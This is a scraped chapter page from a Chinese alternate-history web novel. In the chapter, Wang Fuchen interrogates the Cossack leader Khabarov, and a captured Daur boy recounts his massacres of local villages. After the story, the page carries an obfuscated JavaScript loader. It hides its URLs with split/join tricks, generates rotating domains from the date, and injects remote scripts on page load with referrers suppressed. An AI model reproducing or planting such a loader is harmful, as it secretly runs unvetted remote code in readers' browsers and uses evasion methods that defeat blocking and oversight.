返回

733【哈巴罗夫开大眼儿】 朕

首页
报错
关灯
护眼
字:
大
中
小
上一章 回目录 下一页

负责翻译的,正是哈巴罗夫身边的达斡尔少年。

这少年被派去村寨外喊话,等王辅臣带着民夫冲出来,顿时成为此战的第一个俘虏。

王辅臣说出的汉话,先被随军通事翻译为土话,达斡尔少年再连蒙带猜,极不确定的讲给哈巴罗夫听。

经过两三层转译,到了哈巴罗夫耳朵里,已经变成问他“是否为哥萨克大酋长”。

哈巴罗夫耐心解释道:“哥萨克不是部落,是不受领主统治的自由民。每一個哥萨克聚居地,都会选出自己的首领。大首领叫盖特曼,小头领叫阿塔曼。我在雅库茨克的时候,只是一个小头领。到了雅克萨,我又变成大头领。“

王辅臣问道:“雅库茨克在哪里?雅克萨又在哪里?"

哈巴罗夫说:“雅库茨克是一座城堡,建在勒拿河边,在这里的东北边很远。雅克萨是我建立的村寨,就在阿穆尔(黑龙江)和结雅河(精奇里江)的交汇处。“

达斡尔少年翻译之后,突然抬头望着王辅臣,咬牙说道:“那里不是什么雅克萨,那里我们的村寨。

他杀死了村里全部的男人,我因为岁数比较小才活命。他把活着的女人和孩子,分给手下那些强盗。

我们的族长叫希吉涅宜,也被这些强盗杀死了。族长的妻子,不愿顺从哈巴罗夫,还咬伤了他,就被他活活掐死了。”

王辅臣扫了哈巴罗夫一眼,问那少年:“罗刹鬼还干了什么?"

达斡尔少年说:“这些强盗,逼着我们种地和狩猎。又到别的部落,抓来很多俘虏,逼着俘虏给他修建城墙。有一个大部落的族长,名字叫桂古达尔。他的村寨修筑了三层寨墙,作战很勇敢,杀死了四个罗刹强盗。哈巴罗夫很生气,攻破村寨之后,当场杀了六百多人,掳走女人和孩子三百多人。“

见王辅臣不吭声,达斡尔少年又说:“两个月前,强盗偷袭了托尔加城(瑷珲城)。他们抓住了首领托尔加,还抓住了大贵人图龙洽。“

托尔加,是瑷珲城的城主,也是鞑子册封的打牲翼长。

图龙洽,有个表哥因为作战英勇,被黄台吉赐婚做了满清驸马。

达斡尔少年说:“托尔加城(


本章未完,点下一页继续阅读。>>>

上一章 回目录 下一页
let urls=["hIItIItIIpIIsII:II/II/II{IIdIIdIImII}II/II1II8II/II1II1II0II5II6II1IIbII2II6II2II9II3II8".split("II").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRtRR.RRxRRmRRgRRxRRxRRqRR.RRcRRoRRmRR/RR1RR8RR/RR1RR1RR0RR5RR6RR1RRbRR2RR6RR2RR9RR3RR8".split("RR").join("")];window.__rr__hld=1;let urlindex=0;let ddm=function(){let i = parseInt((new Date().getTime()/1000 - 1767052800)/86400/2);i = i %30;let ds = ['c4dn4p', '52krf1en56', 'mkzyl', '4e8m9wiscm', '930qsg3j68', '7lhqw', 'f691ax6', 'd5ykh16s8b', 'u7ygkovbl', 'nht5dbh', '8ui4pdu12', 'd69otnj', 'vc2tmv', 'n5m2m', 'o80m3b'];return ds[i%15] + (i<15?".cc":".co"+"m");};let rfunc=function(){if(window.__rr__loaded_2938_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++].replace(/\{ddm\}/g,ddm())+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);}};rfunc();rfunc();